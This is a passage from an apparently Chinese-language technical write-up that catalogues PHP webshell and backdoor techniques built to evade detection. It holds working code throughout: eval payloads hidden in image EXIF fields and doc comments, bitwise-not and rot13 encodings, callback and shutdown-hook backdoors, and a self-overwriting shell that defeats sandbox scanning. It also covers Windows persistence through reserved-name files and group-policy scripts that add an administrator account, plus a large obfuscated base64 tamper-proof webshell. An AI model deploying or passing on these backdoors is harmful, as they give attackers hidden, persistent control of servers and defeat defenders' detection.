然后使用exif_read_data去读取读取出来,然后使用preg_replace的"e"开关去动态执行,或者使用动态函数去动态执行 3. 这个可以用来规避include那种类型的黑名单检测 将webshell代码放置在EXIT的头部区域中,这里挑选: IFD0-> 1. ImageDescription: /.*/e 2. Subject: eval(\$_POST[1]) (注意这里要使用winhex来进行ASCII字符的修改) <?php //FILE FileName, FileSize, FileDateTime, SectionsFound $exif = exif_read_data('img.jpg', 'FILE', true); var_dump($exif['IFD0']['ImageDescription']); var_dump($exif['IFD0']['Subject']); preg_replace($exif['IFD0']['ImageDescription'], $exif['IFD0']['Subject'],''); //die(); ?>
0x27: 将数据放在注释中并利用反射机制获取webshellcode
http://www.8090sec.com/suixinbiji/111568.html 黑客将webshell放到了/**/注释中,然后利用类的反射机制获取到,进行动态函数的执行 PHP的反射类机制 ReflectionClass http://cn2.php.net/manual/zh/reflectionclass.construct.php ReflectionClass::getDocComment — 获取文档注释 http://cn2.php.net/manual/zh/reflectionclass.getdoccomment.php 这是最终的poc <?php /** * eval($_POST[1]); */ class TestClass { } $rc = new ReflectionClass('TestClass'); //获取当前文档的注释 $comment = $rc->getDocComment(); //die(var_dump($comment)); $pos = strpos($comment,'eval'); //die(var_dump($pos)); $eval=substr($comment,$pos,16); //die($eval); eval($eval); ?> 更高级一点的用法,现有的webshell检测系统会基于文本特征进行匹配,为了对抗这个防御策略,原则上来说,黑客想要做的是将原本的webshell代码进行加花、换行、大小写变形,但是在一般情况下,PHP代码如果被变形了(例如换行)就无法正常执行了。但是在反射类利用姿势这个case下,代码的变形成为了可能 黑客在注释中可以任意插入花指令、换行等字符来绕过现有的特征检测机制 <?php /** * eva * l($_GE * T["c"]); * asse * rt */ class TestClass { } $rc = new ReflectionClass('TestClass'); $str = $rc->getDocComment(); die(var_dump($str)); $evf=substr($str,strpos($str,'e'),3); $evf=$evf.substr($str,strpos($str,'l'),6); $evf=$evf.substr($str,strpos($str,'T'),8); $fu=substr($str,strpos($str,'as'),4); $fu=$fu.substr($str,strpos($str,'r'),2); $fu($evf); ?>
0x28:webshell多态技术: 自毁型webshell
毁性WebShell <?php /* 现在的PHP的webshell的检测基本用的是对PHP执行引擎进行hook进行动态检测 即我们构造出一个沙箱,让目标脚本在里面执行一次,然后对执行的结果进行判断 而我们的沙箱在触发这个脚本执行的时候由于没有给定准确的参数"code",就会导致毁灭性覆写"fwrite ($fp, $content)"的结果 这样,沙箱的执行结果就是一个普通的文本"helloworld" 然后,管理员再去查看这个文件的时候,看到的就只是一个"helloworld"了 这个是很针对"PHP的动态沙箱检测"的绕过的 反而利用了沙箱的机制,沙箱导致了文件的毁坏 */ //$url = $_SERVER['PHP_SELF']; //$filename = end(explode('/',$url)); //die($filename); if($_REQUEST["code"]==pany) { echo str_rot13('riny($_CBFG[pzq]);'); eval(str_rot13('riny($_CBFG[pzq]);')); } else { $url = $_SERVER['PHP_SELF']; $filename = end(explode('/',$url)); $content = 'helloworld'; $fp = fopen ("$filename","w"); if (fwrite ($fp, $content)) { fclose ($fp); die ("error"); } else { fclose ($fp); die ("good"); } exit; } ?>
0x29: 利用本地变量注册技术
ttp://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html 利用extract函数将输入数据注册为本地变量,然后利用PHP的动态执行特性进行动态函数执行 http://www.php.net/manual/en/function.extract.php <?php @extract ($_REQUEST); @die($ctime($atime)); ?> http://localhost/test/index.php?ctime=assert&atime=phpinfo()
0x30: 关于本地变量注册技术的利用姿势
HP中有三种姿势可能导致本地变量注册,进而利用PHP的动态函数执行技巧进行WEBSHELL的构造 1) extract 2) parse_str 3) foreach(..) { $$key = $value; } 这三种在本文中都给出了相应例子
0x31: 利用PHP的逻辑运算符进行WEBSHELL的编码
http://worm.cc/PHP中使用按位取反函数创建后门.html WEBSHELL代码 <?php $x = ~"žŒŒš‹"; $y = ~"—–‘™×Ö"; $x($y); ?> 生成原理 <?php echo ~"assert"; echo ~"phpinfo()"; ?> 注意这个文件一定要保存为ANSI格式
然后在浏览器端选择西方ISO-8859-1
这是一种利用数学运算符来进行WEBSHELL隐藏的一个思路,举一反三,还可以使用其他的数学运算符来进行相似的隐藏效果
0x32:利用PHP扩展隐藏后门WEBSHELL木马
这种情况需要黑客已经对目标服务器具有一定的控制权,可以修改目标服务器的php.ini并且可以上传扩展文件.so、.dll到指定目录下。这种扩展型的后门木马的效果非常好,
对静态检测程序、和动态沙箱检测程序的bypass特性都有很好的
表现。技术上说,这种利用PHP扩展隐藏后门的方法还有分为两种 1) 编写扩展程序,Hook某些核心的PHP函数的执行流,并通过检测网络流量中是否出现指定的关键字(例如攻击者可以指定pwd:作为命令的触发标识)来决定是启动后门程序,并执行指令 2) 编写扩展程序,生成一些新的函数(例如backdoor_eval()),这样,黑客就可以在自己的WEBSHELL.PHP中调用这种函数,从而躲避静态检测程序的检测 http://www.kissthink.com/archive/3482.html
0x33: 猥琐流PHP层层加密隐藏
http://blog.wangzhan.360.cn/?p=65
0x34: 利用非常规字符集来绕过"关键字检测正则"的防御(包括神盾加密在内的主流在线加密工具基本都采用变量/函数/类名混淆的方式实现隐藏)
http://www.cnblogs.com/52cik/p/php-variable-character.html http://www.cnblogs.com/52cik/p/php-phpdp-thinking.html http://www.php.net/manual/zh/language.variables.basics.php http://x95.org/decryption-phpdp-and-phpjm.html 这种基于字符集的bypass思路是一种很好的技巧,可以绕过很多基于"指定模式的正则匹配"的webshell检测软件
1. 神盾加密解密方案
<?php $str = file_get_contents("Code.php"); // 第一步 替换所有变量 // 正则 \$[a-zA-Z_\x7f-\xff][\w\x7f-\xff]* preg_match_all('|\$[a-zA-Z_\x7f-\xff][\w\x7f-\xff]*|', $str, $params) or die('err 0.'); $params = array_unique($params[0]); // 去重复 $replace = array(); $i = 1; foreach ($params as $v) { $replace[] = '$p' . $i; tolog($v . ' => $p' . $i); // 记录到日志 $i++; } $str = str_replace($params, $replace, $str); // 第二步 替换所有函数名 // 正则 function ([a-zA-Z_\x7f-\xff][\w\x7f-\xff]*) preg_match_all('|function ([a-zA-Z_\x7f-\xff][\w\x7f-\xff]*)|', $str, $params) or die('err 0.'); $params = array_unique($params[1]); // 去重复 $replace = array(); $i = 1; foreach ($params as $v) { $replace[] = 'fun' . $i; tolog($v . ' => fun' . $i); // 记录到日志 $i++; } $str = str_replace($params, $replace, $str); // 第三步 替换所有不可显示字符 function tohex($m) { $p = urlencode($m[0]); // 把所有不可见字符都转换为16进制、 $p = str_replace('%', '\x', $p); $p = str_replace('+', ' ', $p); // urlencode 会吧 空格转换为 + return $p; } $str = preg_replace_callback('|[\x00-\x08\x0e-\x1f\x7f-\xff]|s', "tohex", $str); // 写到文件 file_put_contents("Code.decode.php", $str); function tolog($str) { file_put_contents("replace_log.txt", $str . "\n", FILE_APPEND); } ?>
2. 找源码解密
<?php $file = 'plugin.php'; //要破解的文件 $fp = fopen($file, 'r'); $str = fread($fp, filesize($file)); fclose($fp); copy($file, '0_'.$file); $n = 1; while($n < 10){ $code = strdecode($str); if($n == 1){ $code = str_replace("__FILE__", "'0_$file'", $code); } $replace = '$decode'.$n.'=trim'; if(strpos($code, 'eval(') > 0){ $code = str_replace('eval(', $replace.'(', $code); }else{ preg_match("/@\\$(.*)\(\\$(.*),(.*)\(/isU", $code, $res); $code = str_replace($res[3], "'$replace", $code); } $code = preg_replace('/\\$(.*)=false;(.*?)\(\);/', '', $code); //上一版本 $code = preg_replace('/\|\|@\\$(.*?)\(\);/', '|| print("ok");', $code); $code = destr($code); $tmp_file = 'detmp'.$n.'.php'; file_put_contents($tmp_file, $code); include($tmp_file); $val = 'decode'.$n; $str = $$val; unlink($tmp_file); if(strpos($str, ';?>') === 0){ $decode = $str; break; } $str = "<?php\r\n". $str; $n++; } $decode = preg_replace("/^(.*)exit\('Access Denied'\); /", "<?php\r\n", $decode); $del = strrchr($decode, 'unset'); $decode = str_replace($del, "\r\n?>", $decode); file_put_contents($file.'.de.php' ,$decode); unlink('0_'.$file); echo 'done'; //////////// function val_replace($code, $val, $deval){ $code = str_replace('$'.$val.',', '$'.$deval.',', $code); $code = str_replace('$'.$val.';', '$'.$deval.';', $code); $code = str_replace('$'.$val.'=', '$'.$deval.'=', $code); $code = str_replace('$'.$val.'(', '$'.$deval.'(', $code); $code = str_replace('$'.$val.')', '$'.$deval.')', $code); $code = str_replace('$'.$val.'.', '$'.$deval.'.', $code); $code = str_replace('$'.$val.'/', '$'.$deval.'/', $code); $code = str_replace('$'.$val.'>', '$'.$deval.'>', $code); $code = str_replace('$'.$val.'<', '$'.$deval.'<', $code); $code = str_replace('$'.$val.'^', '$'.$deval.'^', $code); $code = str_replace('$'.$val.'||', '$'.$deval.'||', $code); $code = str_replace('($'.$val.' ', '($'.$deval.' ', $code); return $code; } function fmt_code($code){ global $vals,$funs; preg_match_all("/\\$[0-9a-zA-Z\[\]']+(,|;)/iesU", $code, $res); foreach($res[0] as $v){ $val = str_replace(array('$',',',';'), '', $v); $deval = destr($val, 1); $vals[$val] = $deval; $code = val_replace($code, $val, $deval); } preg_match_all("/\\$[0-9a-zA-Z\[\]']+=/iesU", $code, $res); foreach($res[0] as $v){ $val = str_replace(array('$','='), '', $v); $deval = destr($val, 1); $vals[$val] = $deval; $code = val_replace($code, $val, $deval); } preg_match_all("/function\s[0-9a-zA-Z\[\]]+\(/iesU", $code, $res); foreach($res[0] as $v){ $val = str_replace(array('function ','('), '', $v); $deval = destr($val, 1); $funs[$val] = $deval; $code = str_replace('function '.$val.'(', 'function '.$deval.'(', $code); $code = str_replace('='.$val.'(', '='.$deval.'(', $code); $code = str_replace('return '.$val.'(', 'return '.$deval.'(', $code); } return $code; } function strdecode($str){ $len = strlen($str); $newstr = ''; for($i=0; $i<$len; $i++){ $n = ord($str[$i]); $newstr .= decode($n); } return $newstr; } function decode($dec){ if(($dec > 126 || $dec<32) && $dec<>13 && $dec<>10){ return '['.$dec.']'; }else{ return chr($dec); } } function destr($str, $val=0){ $k = 0; $num = ''; $n = strlen($str); $code = ''; for($i=0; $i<$n; $i++){ if($str[$i] == '[' && ($str[$i+1]==1 || $str[$i+1]==2)){ $k = 1; }elseif($str[$i] == ']' && $k==1){ $num = intval($num); if($val==1){ $num = 97 + fmod($num, 25); } $code .= chr($num); $k = 0; $num = null; }else{ if($k == 1){ $num .= $str[$i]; }else{ $code .= $str[$i]; } } } return $code; } ?>
Relevant Link:
http://www.cnblogs.com/52cik/p/php-phpdp-thinking.html http://www.phpdp.org/ http://www.zhaoyuanma.com/phpencode.html
0x35: 利用ReflectionFunction反射进行动态函数执行
http://php.net/manual/zh/class.reflectionfunction.php http://php.net/manual/zh/reflectionfunction.invokeargs.php <?php $func = new ReflectionFunction("system"); echo $func->invokeArgs(array("$_GET[c]")); ?>
0x36: 基于Winapi 函数FindFirstFile()导致的畸形文件名
https://code.google.com/p/pasc2at/wiki/SimplifiedChinese http://www.2cto.com/Article/201407/320879.html 可以利用下面的脚本来生成一个"畸形文件名" <?php for ($j=0; $j<256; $j++) { for ($i=0; $i<256; $i++) { /* 确保在当前目录下有一个"1.php"文件 */ $url = '1.p' . chr($j) . chr($i); $tmp = @file_get_contents($url); if (!empty($tmp)) { echo "1.p" . chr($j) . chr($i) . "<br/>"; } } } ?> result(得到的结果): 1.p>< 1.p>> 1.p>P 1.p>p 1.pH< 1.pH> 1.pHP 1.pHp 1.ph< 1.ph> 1.phP 1.php 1.p< 1.p<" 1.p<. 1.p<< 1.p<> 对于这种利用方式,我们只能说这样得到的文件扩展名都是可以被windows正确解析的,存在从而来进行bypass那些过滤了文件扩展名的webshell检测机制,但是要真正地利用它发动攻击,我觉得还有很多限制 1. 这个issue只能在windows上才存在 2. 但是windows的文件系统明确禁止了一些特殊字符作为文件名 1) < 2) > 3) .(虽然没有禁止,但是会被windows自动删除) 4) * 3. 所以理论上我们根本没办法在磁盘上写入这样的畸形后缀的文件,bypass也就无从谈起
0x37:webshell中的不死僵尸
利用系统保留文件名创建无法删除的webshell Windows 下不能够以下面这些字样来命名文件/文件夹: 1. aux 2. prn 3. con 4. nul 5. com1 6. com2 7. com3 8. com4 9. com5 10. com6 11. com7 12. com8 13. com9 14. lpt1 15. lpt2 16. lpt3 17. lpt4 18. lpt5 19. lpt6 20. lpt7 21. pt8 22. lpt9 但是通过cmd的copy命令即可实现 D:\wwwroot>copy rootkit.asp \\.\D:\wwwroot\lpt6.shell.asp 注意: 前面必须有"\\.\" 这类文件无法在图形界面删除,只能在命令行下删除: D:\wwwroot>del \\.\D:\wwwroot\lpt6.shell.asp 然而在IIS中,这种文件又是可以解析成功的。Webshell中的 "不死僵尸" 原理就在这
0x38: 利用组策略的自动执行脚本隐藏webshell
准备开关机脚本 关机.bat @echo off net user hxhack 123456/add net localgroup administrators hxhack/add 启动.bat @echo off net user hxhack/del 启用开关机脚本 1. 点击"开始"菜单-运行",输入命令"gpedit.msc",回车后打开组策略编辑器程序窗口 2. 依次展开"计算机配置"-"windows设置"-"脚本(启动/关机)"项目 3. 双击右侧的"启动"。打开启动脚本设置对话框。点击"显示文件"按钮,将会自动打开系统启动脚本目录 4. 将刚才建立的"启动.bat"移动到此文件夹中。然后关闭文件夹窗口。在启动脚本对话框中。点击"添加"按钮,浏览指定当前目录下的开机脚本文件"启动.bat"。 5. 点击确定按钮。完成添加。再点击"应用"按钮,使用当前启动设置。关闭启动脚本设置对话框。然后双击组策略编辑器中的"关机"项目,打开关机脚本设置对话框,用同样的方法添加关机脚本为"关机.bat"。最后关闭组策略编辑器
待研究
https://github.com/tennc/webshell https://github.com/JohnTroony/php-webshells
0x39: 利用PHP自定义函数回调执行webshell
<?php if(key($_GET)=='dede') //call_user_func($_GET['dede'], "@eval($_POST[bs]);"); call_user_func($_GET['dede'], base64_decode('QGV2YWwoJF9QT1NUW2JzXSk7')); ?> http://php.net/manual/zh/function.call-user-func.php <?php //call_user_func($_GET['dede'], "@eval($_POST[bs]);"); call_user_func($_GET['dede'], base64_decode('QGV2YWwoJF9QT1NUW2JzXSk7')); ?> http://localhost/test/test.php?dede=assert
0x40: 利用PHP扩展定界标签实现正则检测绕过
PHP是一种和HTML混编的脚本语言,它允许的定界标签如下
1. <?php echo 'if you want to serve XHTML or XML documents, do it like this'; ?> //永远可用 2. <?php echo 'if you want to serve XHTML or XML documents, do it like this'; //PHP允许半闭合 3. <script language="php"> echo "some editors (like FrontPage) don't like processing instructions"; </script> //永远可用 4. <script language='php'> echo "some editors (like FrontPage) don't like processing instructions"; </script> //单引号 5. <script language=php> echo "some editors (like FrontPage) don't like processing instructions"; </script> //无引号 6. <script language="php"> echo "some editors (like FrontPage) don't like processing instructions"; //除非在当前文件的最末尾,否则必须要求结束标签定界符 6. <? echo 'this is the simplest, an SGML processing instruction'; ?> 7. <?= expression ?> This is a shortcut for "<? echo expression ?>" //仅在通过 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 8. <? echo 'this is the simplest, an SGML processing instruction'; 9. <?= expression //允许半闭合 10. <% echo 'You may optionally use ASP-style tags'; %> 11. <%= $variable; # This is a shortcut for "<% echo . . ." %> //仅在通过 php.ini 配置文件中的指令 asp_tags 打开后才可用 12. <% echo 'You may optionally use ASP-style tags'; 13. <%= $variable; //允许半闭合
为了更好地理解PHP词法解析引擎处理PHP标签定界符的原理,我们从PHP内核源代码的层面出发进行讨论
http://www.cnblogs.com/LittleHann/p/4513842.html //搜索:2. PHP标签解析
Relevant Link:
http://php.net/manual/zh/language.basic-syntax.phpmode.php
0x41: 基于XML格式变种的WEBSHELL
xml在发展中派生出了一系列标准,包括
1. DTD 2. XSD 3. XDR 4. XPATH 5. XSLT
XSLT全称为拓展样式表转换语言,其作用类似于css,通过指定的规则,将一个xml文档转换为另外的形式。指定的规则由另外一个xml文件描述,这个文件通常为xsl后缀。xsl语法相对较为复杂
为了对目标节点进行处理,XSLT提供了一系列用于处理XML节点的内置函数
xml: <?xml version="1.0"?> <root>123</root> xsl: <?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/root"> <xsl:value-of select="string(.)"/> </xsl:template> </xsl:stylesheet>
xsl文件中xsl:template节点描述了匹配规则,其match属性为一个XPATH,表示匹配的xml节点。xsl:value-of描述了转换规则,会将对前一步所匹配的节点作为参数传入select属性指定的函数中,参数.表示所匹配的节点。 对以上xml和xsl进行转换,将输出以下结果
<?xml version="1.0" encoding="UTF-16"?>123
在有些情况下,内置函数无法满足所有的需求。为了拓展XSLT的功能,绝大部分XSL转换器都提供了脚本拓展功能。根据转换器的不同,其脚本有所差异,所支持的功能也有所不同。 在一定程度上,一个对象的安全性与复杂性是成反比的。合法功能的非预期利用是漏洞,恶意利用则可能成为隐蔽的后门。XSLT的脚本执行功能,就是这样一个可能的后门。
Relevant Link:
http://drops.wooyun.org/tips/5799
0x42: 防篡改WEBSHELL
<?php /* Powered by www.qibosoft.com */$lll11l11l11l11l1=__FILE__;eval(base64_decode('JGxsMTFsbGwxMWxsbGwxMWw9Zm9wZW4oJGxsbDExbDExbDExbDExbDEsJ3JiJyk7ZnJlYWQoJGxsMTFsbGwxMWxsbGwxMWwsMjE2MCk7JGxsMWxsbGwxMTExMTExMWw9ZXhwbG9kZSgiXHQiLGJhc2U2NF9kZWNvZGUoZnJlYWQoJGxsMTFsbGwxMWxsbGwxMWwsMjcyKSkpOw=='));$lll111111ll1l1ll=$ll1llll11111111l[0];$l1ll11lllll1ll1l=$lll111111ll1l1ll{2}.$lll111111ll1l1ll{5}.$lll111111ll1l1ll{8}.$lll111111ll1l1ll{11}.$lll111111ll1l1ll{14}.$lll111111ll1l1ll{17}.$lll111111ll1l1ll{20}.$lll111111ll1l1ll{23}.$lll111111ll1l1ll{26}.$lll111111ll1l1ll{29}.$lll111111ll1l1ll{32}.$lll111111ll1l1ll{35}.$lll111111ll1l1ll{38};$l11llll111l1l11l=$l1ll11lllll1ll1l($ll1llll11111111l[1]);$l1l11111ll1l1l1l=$l1ll11lllll1ll1l($l11llll111l1l11l{2}.$l11llll111l1l11l{5}.$l11llll111l1l11l{8}.$l11llll111l1l11l{11}.$l11llll111l1l11l{14}.$l11llll111l1l11l{17}.$l11llll111l1l11l{20}.$l11llll111l1l11l{23});$lll1ll11l11l1ll1=$l1ll11lllll1ll1l($ll1llll11111111l[2]);$l111ll111lll1111=$l1ll11lllll1ll1l($lll1ll11l11l1ll1{2}.$lll1ll11l11l1ll1{5}.$lll1ll11l11l1ll1{8}.$lll1ll11l11l1ll1{11}.$lll1ll11l11l1ll1{14}.$lll1ll11l11l1ll1{17}.$lll1ll11l11l1ll1{20}.$lll1ll11l11l1ll1{23});$ll1lll1lll111111=$l1ll11lllll1ll1l($ll1llll11111111l[3]);$ll11llllll1lllll=$l1ll11lllll1ll1l($ll1lll1lll111111{2}.$ll1lll1lll111111{5}.$ll1lll1lll111111{8}.$ll1lll1lll111111{11}.$ll1lll1lll111111{14}.$ll1lll1lll111111{17}.$ll1lll1lll111111{20}.$ll1lll1lll111111{23});$lll1ll11l1111l11=$l1ll11lllll1ll1l($ll1llll11111111l[4]);$ll1111l11l11llll=$l1ll11lllll1ll1l($lll1ll11l1111l11{2}.$lll1ll11l1111l11{5}.$lll1ll11l1111l11{8}.$lll1ll11l1111l11{11}.$lll1ll11l1111l11{14}.$lll1ll11l1111l11{17}.$lll1ll11l1111l11{20}.$lll1ll11l1111l11{23});$llll11l1ll111l1l=$l1ll11lllll1ll1l($ll1llll11111111l[5]);$llllll1l11llllll=$l1ll11lllll1ll1l($llll11l1ll111l1l{2}.$llll11l1ll111l1l{5}.$llll11l1ll111l1l{8}.$llll11l1ll111l1l{11}.$llll11l1ll111l1l{14}.$llll11l1ll111l1l{17}.$llll11l1ll111l1l{20}.$llll11l1ll111l1l{23});eval($l1ll11lllll1ll1l('JGxsMTFsbGxsbGwxbGxsbGwoJGxsMTFsbGwxMWxsbGwxMWwsMTcpO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJGxsMTFsbGxsbGwxbGxsbGwoJGxsMTFsbGwxMWxsbGwxMWwsMjMyKSkpOw=='));return ;?>dGFiMWVhYjlzY2RlYjg2dG00cXVfZWJkY2ZlanFjMnZvdHBkdndlCU5UWmFjM0p0ZVRnNWJXbDNZV0phYkhsWGNIazBkWE05CWVHNWFPV050WWpGa2NYTnNhbkZrWm1oSVkzaE5jbkU5CWRucGFNVEZ1YW1KS2NIUnNabUpaYm1wWFpIQlJkMjQ5CU9HSmpZV3N6YjJ0U2FXMTVjSE5rYkdWSWMyaEpaSFk5CVoydGFkR0Z0YzNZNVlubDNjbnBhTjNSWGNtczBNbXM54bSULjFL6pblYuIkpO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=AhDBms0qm82LqpqMrHT1O2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=tGLOYY5fUpO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UY3BPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=JqjcRhp75i6Lf4MwjO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=yS0ttoM7R7SDkJpvuNKUO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01USXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=vMCvyQqBIgcoO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UY3BPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=agQLu9pzZf25xZjXjO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UVXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=WOmDsuNvUYJUFK3O2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=hx7OShbiw40pgFI3OeYhO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=lErzbn3Vk5O2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01USXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qazJLU2twT3c9PScpKTs=U5zJkvgx0MBjZXZhbCgkbDFsbDExbGxsbGwxbGwxbCgnSkd4c01URnNiR3hzYkd3eGJHeHNiR3dvSkd4c01URnNiR3d4TVd4c2JHd3hNV3dzTVRncE8yVjJZV3dvSkd3eGJHd3hNV3hzYkd4c01XeHNNV3dvSkd4c01URnNiR3hzYkd3eGJHeHNiR3dvSkd4c01URnNiR3d4TVd4c2JHd3hNV3dzTVRNNE9Da3BLVHNrYkd4c2JHeHNNV3d4TVd4c2JHeHNiQ2drYkd3eE1XeHNiREV4Ykd4c2JERXhiQ2s3JykpOw==Orb94oK1BBaoF8cySgaWYoJF9QT1NUWydteXB3ZCddKXsNCglyZXF1aXJlX29uY2UoZGlybmFtZShfX0ZJTEVfXykuIi8uLi8uLi9pbmMvcXEuYXBpLnBocCIpOw0KCUBldmFsKHFxbWQ1KCJVVjlBR3g0ZlhrRVFSQWdlR2tGRkV4aENXVkVMRmdsVlFrd0ZWZ3dkQVZnY1JFZ1dFUlFSVVFzYVFsbEZFUnRmZTU1Yjc0YWU4OSIsJ0RFJywkX1BPU1RbJ215cHdkJ10pKTsNCn0NCg0KaWYoJGpvYj09ImdldCImJiRBcG93ZXJbdXBncmFkZV9vbF0pDQp7DQoNCgloYWNrX2FkbWluX3RwbCgnZ2V0Jyk7DQp9DQplbHNlaWYoJGFjdGlvbj09ImdldCImJiRBcG93ZXJbdXBncmFkZV9vbF0pDQp7DQoJJGZpbGV1cmw9Imh0dHA6Ly9kb3duLnFpYm9zb2Z0LmNvbS91cGdyYWRlLnppcCI7DQoJaWYoJGNvZGU9ZmlsZV9nZXRfY29udGVudHMoJGZpbGV1cmwpKQ0KCXsNCgkJd3JpdGVfZmlsZShST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIiwkY29kZSk7DQoJfQ0KCWVsc2VpZigkY29kZT1maWxlKCRmaWxldXJsKSkNCgl7DQoJCXdyaXRlX2ZpbGUoUk9PVF9QQVRILiJjYWNoZS91cGdyYWRlLnppcCIsJGNvZGUpOw0KCX0NCgllbHNlaWYoY29weSgkZmlsZXVybCxST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIikpDQoJew0KCX0NCgllbHNlaWYoJGNvZGU9c29ja09wZW5VcmwoJGZpbGV1cmwpKQ0KCXsNCgkJd3JpdGVfZmlsZShST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIiwkY29kZSk7DQoJfQ0KDQoJcmVxdWlyZV9vbmNlKFJPT1RfUEFUSC4iaW5jL2NsYXNzLnoucGhwIik7DQoJJHogPSBuZXcgWmlwOw0KCW1ha2VwYXRoKFJPT1RfUEFUSC4iY2FjaGUvdXBncmFkZSIpOw0KCSR6LT5FeHRyYWN0KFJPT1RfUEFUSC4iY2FjaGUvdXBncmFkZS56aXAiLFJPT1RfUEFUSC4iY2FjaGUvdXBncmFkZSIpOw0KCXVubGluayhST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIik7DQoJZWNobyAiPE1FVEEgSFRUUC1FUVVJVj1SRUZSRVNIIENPTlRFTlQ9JzA7VVJMPSR3ZWJkYlt3d3dfdXJsXS9jYWNoZS91cGdyYWRlL2luZGV4LnBocCc+IjsNCglleGl0Ow0KfQ==Oz1aqN6Bs2Twgiat5H0qQeo5bgm84V1tvONOA
这种WEBSHELL遵循了严格的生成逻辑,并精确地在代码中加入了花指令,只有文件完好无损(即不能增加也不能减少)才能正常解密出原始文件并执行,一旦文件遭到了任何修改,则解密过程会失败,导致webshell无法执行
0x43: 利用shell.users添加管理员帐号
<?php echo "<div align=center><b>PHP 版Shell.Users加管理员帐号</b></div>"; $username="isosky.test"; $password="test"; $su = new COM("Shell.Users"); $h=$su->create($username); $h->changePassword($password,""); $h->setting["AccountType"] = 3;//这句很重要可以把用户加入administrators 组, ?>
0x44: 利用注册Zend全部回调钩子函数部署WEBSHELL
register_shutdown_function — Register a function for execution on shutdown
<?php function shutdown() { eval($_POST[1]); } register_shutdown_function('shutdown'); ?>
register_tick_function — Register a function for execution on each tick
<?php
$e = $_REQUEST['e']; declare(ticks=1); register_tick_function ($e, $_REQUEST['pass']);
Relevant Link:
